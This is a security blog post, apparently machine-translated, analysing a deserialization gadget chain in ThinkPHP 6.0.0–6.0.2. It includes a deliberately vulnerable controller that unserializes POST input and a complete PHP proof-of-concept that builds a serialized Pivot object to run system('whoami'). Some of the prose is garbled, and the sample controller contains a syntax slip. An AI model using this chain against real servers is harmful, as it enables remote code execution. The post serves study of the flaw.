Thinkphp6.0.x Deserialization Analysis

Impact Version

Thinkphp6.0.0~6.0.2

Environment Setup

Phpstudy:

  • OS: Windows
  • PHP: 7.3.4
  • ThinkPHP: 6.0.1

Create a test environment:

composer create-projec topthink/think:6.0.* tp6.0.1

Then enter composer.json modifies "topthink/framework": "6.0.1" and executes composer update

Create entry points:

app/controller/Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if(isset($_POST['data'])){
            unserialize(($_POST['data']);
        }else{
            highlight_file(__FILE__);
        }
    }
}

Vulnerability Analysis

In ThinkPHP5. In the POP chain of x, the entries are the think\process\pipes\Windows class, through which u of any class is triggered ToString method. But ThinkPHP6. The code for X removes the think\process\pipes\Windows class and the POP chain_u Gadget s still exist after toString, so we have to continue looking for triggers The point of the toString method.

First you need to find u destruct function, available in vendor\topthinkthink-ormsrc\Model. PHP

If $this->lazySave is true, enter the save() function and follow up

You need to satisfy the if statement to get to the next step, so follow up on these two functions

For $this->isEmpty(), you need to satisfy that $this->data is not empty

For $this->trigger(), satisfying $this->withEvent == false returns true

Enter after

 $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

The updateData() method can continue to be used according to the Master's route, where $this->exists=true is required

Follow-up updateData() method

Our utilization point is checkAllowFields(), which needs to satisfy the first two if statements

Required by analysis

  • $this->withEvent == false
  • $this->force == true, and $this-data is not empty

Next follow the checkAllowFields() function

We need to go into $this->db(), and we also need to satisfy the previous if statement, which is empty by default and does not need to be constructed

Follow up db()

With string splicing and two values under control, you can trigger u toString() method

Global Search_u toString() method, using point at vendor\topthink\think-orm\src\model\concernConversion. PHP

Follow up on toJson()

Follow up on toArray()

Traverse through $data, $data comes from $this->data, enters the second elseif statement by default, $key calls the getAttr() function as an argument, and continues:

View getData methods

Here, $name is the $key passed in, follow up on the getRealFieldName() method

The final getAttr() return value is

return $this->getValue($name, $value, $relation);

The parameter $name is the $key passed in from toArray(), and the value of the parameter $value is $this->data[$key]

Follow up getValue()

Ultimately utilized at

$value = $closure($value, $this->data);

When the $this->withAttr array has the same key $key as $date and the value corresponding to that key cannot be an array, $this->withAttr[$key] (the value corresponding to the withAttr array $key) is executed dynamically as a function name with the parameter $this->date[$key]

We control:

$this->withAttr = ["key" => "system"];
$this->data = ["key" => "whoami"]; 

Finally RCE is possible

POP Chain Construction

Overall Utilization Chain

__destruct
↓
save()
↓
updateData()
↓
checkAllowFields()
↓
db()
↓
name($this->name . $this->suffix)
↓    
__toString()
↓
toJson()
↓
toArray()
↓
getAttr()
↓
getValue()
↓
$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

It is important to note that the Model class is abstract and cannot be instantiated. You need to find a subclass of the Model class to instantiate it, which you can use with the Pivot class.

Final construction POC:

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["snakin" => "whoami"];
    private $withAttr = ["snakin" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));

Write after

The chain seems to have expired during the actual test, github does not have a commit record officially, nor does he find anything wrong with his Taicai dish (ps. Did a teacher tell me) to whine, but the chain can still be analyzed, learning is not humiliating.

Reference link:

https://blog.csdn.net/rfrder/article/details/114686095

https://blog.csdn.net/qq_42181428/article/details/105777872

Keywords: PHP Back-end Web Security

Added by NFD on Wed, 23 Feb 2022 19:20:03 +0200